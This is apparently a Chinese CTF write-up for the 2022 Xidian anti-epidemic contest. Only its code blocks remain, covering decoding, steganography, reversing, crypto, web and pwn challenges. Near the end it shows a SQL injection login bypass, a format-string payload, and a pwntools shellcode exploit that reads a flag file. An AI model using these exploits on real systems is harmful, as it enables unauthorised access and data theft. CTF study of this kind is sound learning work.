2022 西电 抗疫CTF 部分 WP

1
2
3

text = '4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D'

base = ''.join([chr(int(s, 16)) for s in re.findall(".{2}", text)])

1
2
3
4
5
6
7
8

import re
from base64 import b32decode, b64decode

text = '4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D'

base = ''.join([chr(int(s, 16)) for s in re.findall(".{2}", text)])

print(str(b64decode(b64decode(b32decode(base))), 'UTF8'))

1

$ zsteg f1ag --bits 1 --channel rgb --lsb

1

$ zsteg f1ag

1

zsteg f1ag --all | grep flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

$ python
Python 3.10.1 (tags/v3.10.1:2cd268a, Dec  6 2021, 19:10:37) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import(magic)
>>> help()
Help on module magic:

NAME
    magic

FUNCTIONS
    check_box(a: 'int') -> 'unicode'

    hidden_func() -> None

    hidden_number_guess() -> None

    menu() -> None

    my_python_shop()

    show(buf: 'unicode') -> None

    start() -> None

DATA
    __test__ = {}

FILE
    d:\ctf\2022-kyctf-win\bam\magic.cp310-win_amd64.pyd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

    >>> magic.hidden_func()
    QwQ, you find me.
    Do you want the flag?
    wwwww, I won't give it to you so easily!
    How about playing another game?
    yeah, a number guess game!
    I have a favorite number, and it will never change.
    Now, guess it!
    give me a number between 1 and 999999
    And I will throw it to my check box
    Input the character 'q' to exit the game

1
2
3
4
5

import magic

for i in range(1, 1000000):
    if magic.check_box(i) != 'WRONG!!!!\nTRY AGAIN!!!':
        print(magic.check_box(i))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

class DataFrame(object):
    def __init__(self, flag):

         在 flag 后补齐 16 的倍数位, 如果本来就是 16 的倍数, 也再补 16.
         补的字节全是 bytes(数字缺几位到16)

        self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
        self.matrix = [0] * len(self.flag)

    def gen_matrix(self):
        for i in range(len(self.flag)):
             flag的每一位左边补0到8位
            self.matrix[i] = bin(self.flag[i])[2:].rjust(8, '0')
            print(self.matrix[i])
             cycle left shift 1 bit 循环左移一位
            self.matrix[i] = self.matrix[i][1:] + self.matrix[i][0]

     交换第i行和第i+1行
    def swap_matrix_row(self):
        for i in range(0, len(self.matrix) - 1, 2):
            self.matrix[i], self.matrix[i+1] = self.matrix[i+1], self.matrix[i]

    def encode_matrix(self):
        self.gen_matrix()
        self.swap_matrix_row()
         取反
        return bytes([int(self.matrix[i], 2) ^ 0xff for i in range(len(self.matrix))])

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

def dec(code):
     生成矩阵
    code_matrix = [0] * len(code)
    for i in range(len(code)):
        code_matrix[i] = bin(code[i])[2:].rjust(8, '0')
     交换
    for i in range(0, len(code_matrix) - 1, 2):
        code_matrix[i], code_matrix[i+1] = code_matrix[i+1], code_matrix[i]
     循环右移一位
    for i in range(len(code_matrix)):
        code_matrix[i] = code_matrix[i][-1] + code_matrix[i][:-1]
     取反, 转bytes
    org = bytes([int(code_matrix[i], 2) ^ 0xff for i in range(len(code_matrix))])

    return org.decode('UTF-8')

print(dec(b"'31=3\t3333\x9d3/\x8d\x17-#-\xbd1\xbd\xbd\xed\x05\xed\xed\xed\xed\xed\xed\xed\xed"))

1
2
3
4
5
6

  shoutLoudly((__int64)&song);
  puts("\n\t————Cerf-volant");
  printf("%s", "Entrez un message: ");
  __isoc99_scanf("%22s", v4);
  printOut((const char *)v4);
  return 0;

1
2
3
4
5
6
7
8
9

  for ( i = 0; ; ++i )
  {
    result = strlen(a1);
    if ( i >= result )
      break;
    a1[i] ^= (_BYTE)i + 1;
    printf("%d ", (unsigned int)a1[i]);
  }
  return result

1
2
3

    int x, cnt = 0;
    while (scanf("%d", &x) != EOF)
        printf("%c", (unsigned char) (x ^ (1 + cnt++)));

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

__int64 __fastcall MainWindow::on_button_clicked(MainWindow *this)
{
  __int64 v1; // rax
  __int64 v2; // rdx
  const QString *v4; // rsi
  volatile signed __int32 *v5; // rax
  volatile signed __int32 *v6; // rax
  volatile signed __int32 *v8; // rax
  __int64 v9; // rcx
  __int64 v10; // rdx
  __int64 v11; // rdx
  __int64 v12; // [rsp+20h] [rbp-C8h] BYREF
  const char *v13; // [rsp+28h] [rbp-C0h]
  __int64 v14[4]; // [rsp+30h] [rbp-B8h] BYREF
  __m128i v15; // [rsp+50h] [rbp-98h] BYREF
  __int64 v16; // [rsp+60h] [rbp-88h]
  __m128i v17; // [rsp+70h] [rbp-78h] BYREF
  __int64 v18; // [rsp+80h] [rbp-68h]
  volatile signed __int32 *v19; // [rsp+90h] [rbp-58h] BYREF
  __int64 v20; // [rsp+98h] [rbp-50h]
  __int64 v21; // [rsp+A0h] [rbp-48h]

  v1 = *((_QWORD *)this + 10);
  v2 = *((_QWORD *)this + 11);
  if ( v1 < v2 )
    *((_QWORD *)this + 10) = ++v1;
  if ( v2 != v1 )
  {
    QString::number((QString *)v14, v2 - v1, 10);
    v12 = 6i64;
    v13 = "click ";
    QString::fromUtf8(&v15, &v12);
    QString::append((QString *)&v15, (const QString *)v14);
    v17 = _mm_load_si128(&v15);
    v18 = v16;
    if ( v15.m128i_i64[0] )
      _InterlockedAdd((volatile signed __int32 *)v15.m128i_i64[0], 1u);
    v12 = 25i64;
    v13 = " times to get the flag!!!";
    QString::fromUtf8(&v19, &v12);
    QString::append((QString *)&v17, (const QString *)&v19);
    if ( v19 && !_InterlockedSub(v19, 1u) )
      QArrayData::deallocate(v19, 2i64, 8i64);
    v4 = (MainWindow *)((char *)this + 56);
    QString::operator=((char *)this + 56, &v17);
    if ( v17.m128i_i64[0] && !_InterlockedSub((volatile signed __int32 *)v17.m128i_i64[0], 1u) )
    {
      QArrayData::deallocate(v17.m128i_i64[0], 2i64, 8i64);
      v5 = (volatile signed __int32 *)v15.m128i_i64[0];
      if ( !v15.m128i_i64[0] )
        goto LABEL_13;
    }
    else
    {
      v5 = (volatile signed __int32 *)v15.m128i_i64[0];
      if ( !v15.m128i_i64[0] )
        goto LABEL_13;
    }
    if ( !_InterlockedSub(v5, 1u) )
    {
      QArrayData::deallocate(v15.m128i_i64[0], 2i64, 8i64);
      v6 = (volatile signed __int32 *)v14[0];
      if ( !v14[0] )
        return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
LABEL_14:
      if ( !_InterlockedSub(v6, 1u) )
        QArrayData::deallocate(v14[0], 2i64, 8i64);
      return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
    }
LABEL_13:
    v6 = (volatile signed __int32 *)v14[0];
    if ( !v14[0] )
      return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
    goto LABEL_14;
  }
  v12 = 78i64;
  v13 = "Congratulations! Here is you flag!   flag{Senren *Banka from Yuzusoft is good}";
  QString::fromUtf8(&v19, &v12);
  v8 = (volatile signed __int32 *)*((_QWORD *)this + 7);
  v9 = v20;
  *((_QWORD *)this + 7) = v19;
  v10 = *((_QWORD *)this + 8);
  v19 = v8;
  *((_QWORD *)this + 8) = v9;
  v20 = v10;
  v11 = *((_QWORD *)this + 9);
  *((_QWORD *)this + 9) = v21;
  v21 = v11;
  if ( v8 && !_InterlockedSub(v8, 1u) )
    QArrayData::deallocate(v19, 2i64, 8i64);
  v4 = (MainWindow *)((char *)this + 56);
  return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
}

1
2
3
4
5

  if ( std::operator==<char>(key, &title[abi:cxx11]) )
  {
    for ( i = 0; i <= 36; ++i )
      std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, (unsigned int)(char)(flag[i] - 1));
  }

1
2

  while ( (unsigned __int8)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::empty(&title[abi:cxx11]) )
    std::getline<char,std::char_traits<char>,std::allocator<char>>(refptr__ZSt3cin, &title[abi:cxx11]);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

from Crypto.Util.number import *
from secret import flag
flag = bytes_to_long(flag)

tmp = getRandomNBitInteger(142)
a = flag | tmp
b = flag & tmp
print(tmp)
print(a)
print(b)

'''OUTPUT
4475588893486760807434877361949655702156202
10403436853134845129656953606837707260539903
2994485173442830774576326061629704337957160
'''

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

const char* tmp = "01100110110000010010010110110101101111110010001001010011101101000001001011100001111101000111011110000001111000111110010100001111011001110101010";
const char* a = "11101110110110011110011111111111111111111011001011010011111111001101111011111111111101001111011110000011111100111111111110101111011001111111111";
const char* b = "01000100110000000000000010000100101101100010000001010010001000000001000010100000100101000001001010000000101000101000010000001010010000100101000";

int main() {
    n = strlen(tmp);
    string ans;
    for (int i = 0; i < n; i++) {
        if (a[i] == '0' && b[i] == '0' && tmp[i] == '0')
            ans.push_back('0');
        if (a[i] == '1' && b[i] == '0' && tmp[i] == '0')
            ans.push_back('1');
        if (a[i] == '1' && b[i] == '0' && tmp[i] == '1')
            ans.push_back('0');
        if (a[i] == '1' && b[i] == '1' && tmp[i] == '1')
            ans.push_back('1');
    }
    cout << ans;
    return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

flag = 0b11001100110110001100001011001110111101101011000011010010011010001101110010111110100101001001001010000010101100101001111010101010010000101111101

str_flag = ''

while flag > 0:
    c = flag % (2 ** 8)
    flag = flag // (2 ** 8)
    str_flag = str_flag + chr(c)

print(str_flag[::-1])

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

//敌机移动
function enemyMove() {
    var enes = document.getElementsByClassName('enemy');
    for (var i = 0; i < enes.length; i++) {
        if (enes[i].isBol == true) {
            if (enes[i].bgIndex < enes[i].bgMaxIndex) {
                enes[i].bgIndex++;
                enes[i].style.backgroundPosition = -enes[i].bgIndex * enes[i].offsetWidth + 'px 0';
            } else {
                score += enes[i].score;
                $('scoreNum').innerHTML = '分数: ' + score;
                enes[i].isDelete = true;
            }

        }
        if (enes[i].offsetTop > 568 || enes[i].isDelete) {
            $('enemys').removeChild(enes[i]);
            i--;
            continue;
        }
        enes[i].style.top = enes[i].offsetTop + enes[i].speedY + 'px';
    }
    // console.log(enes.length);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

<p>疫情期间, laotong宅在宿舍里写论文, 作为懒狗, 他准备去百度几篇文章拼凑一下, 结果发现网页里的文字不充会员无法复制！聪明的你能教教他如何复制嘛？</p>
<script type="text/javascript">
document.oncontextmenu = function(){ return false; };
document.onselectstart = function(){ return false; };
document.oncopy = function(){ return false; };
document.oncut = function(){ return false; };
</script>

<div>f</div>
<div>l</div>
<div>a</div>
<div>g</div>
<div>{</div>

<!-- ....... -->

<div>}</div>

1
2
3
4
5
6
7
8
9

## <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] === "HS") {
    include_once "flag.php";
    echo $flag;
} 
else {
    highlight_file("index.php");
} 

1
2
3
4
5

  <!-- 猜猜这是什么
ﾟωﾟﾉ= /｀ｍ´) ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+/*´∇｀*/(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((o^_^o) +(o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (o^_^o))+(o^_^o)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+((o^_^o) +(o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+((o^_^o) - (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (o^_^o))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(c^_^o)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+((o^_^o) +(o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+((ﾟｰﾟ) + (o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((o^_^o) - (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((o^_^o) +(o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+((o^_^o) +(o^_^o))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (o^_^o))+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
  -->
  <!--答案结尾没有分号！-->

1

SELECT * FROM users WHERE username = '\' AND password = '$password'

1

SELECT * FROM users WHERE username = '\' AND password = ' OR 1=1 #'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

  v4 = __readfsqword(0x28u);
  puts("\nPuzzle1:");
  __isoc99_scanf("%d", &arg);
  strcpy(key, "secretKey\n");
  fd = arg - 1131796;
  *(_QWORD *)inp = 0LL;
  *(_QWORD *)&inp[8] = 0LL;
  *(_QWORD *)&inp[16] = 0LL;
  *(_QWORD *)&inp[24] = 0LL;
  *(_QWORD *)&inp[32] = 0LL;
  *(_QWORD *)&inp[40] = 0LL;
  *(_WORD *)&inp[48] = 0;
  read(0, inp, 0x14uLL);
  if ( !strcmp(inp, key) )
  {
    system("/bin/cat ./flag");
    con();
  }

1
2
3

    1
    (随便一个数数字)
    secretKey

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

v4 = __readfsqword(0x28u);
  puts("\nPuzzle2:");
  __isoc99_scanf("%d", &arg);
  strcpy(path, "./flag");
  open(path, 0);
  fd = arg - 1131796;
  *(_QWORD *)flag = 0LL;
  *(_QWORD *)&flag[8] = 0LL;
  *(_QWORD *)&flag[16] = 0LL;
  *(_QWORD *)&flag[24] = 0LL;
  *(_QWORD *)&flag[32] = 0LL;
  *(_QWORD *)&flag[40] = 0LL;
  *(_WORD *)&flag[48] = 0;
  read(arg - 1131796, flag, 0x32uLL);
  printf("%s", flag);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

  cnt[0] = 0LL;
  x = 0;
  __isoc99_scanf("%lld", cnt);
  while ( 1 )
  {
    v3 = cnt[0]--;
    if ( v3 <= 0 )
      break;
    ++x;
  }
  if ( x < -1 )
  {
    puts("Right! Here's your shell:");
    system("/bin/sh");
  }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

  for ( i = 0; i <= 4; ++i )
    __isoc99_scanf("%d", &inp_in_int[i]);
  *(_QWORD *)&inp_in_char[40] = 0LL;
  *(_WORD *)&inp_in_char[48] = 0;
  *(_QWORD *)inp_in_char = *(_QWORD *)inp_in_int;
  *(_QWORD *)&inp_in_char[8] = *(_QWORD *)&inp_in_int[2];
  *(_QWORD *)&inp_in_char[16] = *(_QWORD *)&inp_in_int[4];
  *(_QWORD *)&inp_in_char[24] = *(_QWORD *)&inp_in_int[6];
  *(_QWORD *)&inp_in_char[32] = *(_QWORD *)&inp_in_int[8];
  strcpy(key, "secretKey");
  if ( !strcmp(inp_in_char, key) )
    system("/bin/cat ./flag");

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

key = b'secretKey'

key = key + b''.join([b'\x00'] * (4 * 5 - len(key)))     用 0 补全5个数

def getInt(s):
    x = 0
    for c in s[::-1]:
        x = x * 2**8 + int(c)
    return x

for i in range(5):
    l = i * 4
    r = (i+1) * 4
    print(getInt(key[l:r]))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    accident();
  for ( i = 0; i <= 114513; ++i )
  {
    if ( read(fd, &buf, 4uLL) < 0 || read(fd, &v5, 4uLL) < 0 )
      accident();
    printf(&byte_2231, buf % 0x14);
    printf(&byte_2241, v5 % 0x14);
    puts(&byte_2251);
    puts(&byte_2261);
    __isoc99_scanf(&unk_2271, &v6);
    if ( buf % 0x14 + v5 % 0x14 != v6 )
    {
      puts(&byte_2281);
      accident();
    }
    puts(&byte_2274);
    ++cnt;
  }

1
2
3
4
5
6
7
8

unsigned int init_proc()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  signal(14, handler);
  return alarm(0x10u);
}

1

    $ kill -l

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

void handler()
{
  puts(&byte_2028);
  printf(&format, (unsigned int)cnt);
  if ( (unsigned int)cnt <= 0x64 )
    accident();
  puts(&byte_2059);
  sleep(1u);
  system(cmd);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

from pwn import *

r = remote()
## r = process('./scripts')

r.recvuntil('Let us start!\n')

for i in range(0x64 + 1):
    s1 = str(r.recvline()[12:-1], 'utf-8')
    t1 = int(s1)
    s2 = str(r.recvline()[12:-1], 'utf-8')
    t2 = int(s2)
    r.recvline()
    r.recvline()
    r.sendline(bytes(str(t1+t2), encoding = 'utf-8'))
    r.recvline()

r.interactive()

1
2

flag2_addr = 0x4040C0
payload = b'%7$s....' + p64(flag2_addr)  注意填充8位, 然后才是地址

1

    $ checksec orw

1
2
3
4

call    _read
lea     rax, [rbp+buf]
mov     rdi, rax
call    rdi

1

    $ seccomp-tools dump ./orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

from pwn import *

## p = process('./orw')

p = remote()

context.arch = ELF('./orw').arch     注意这里架构需要指定, 不同架构的汇编是不一样的

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax','rsp',0x100)      64 位寄存器是 rax rsp 等
shellcode += shellcraft.write(1,'rsp',0x100)         32 位的是 eax, esp 等
payload = asm(shellcode)

p.recvuntil(b'BlackBird) \n\n')
p.sendline(payload)

p.interactive()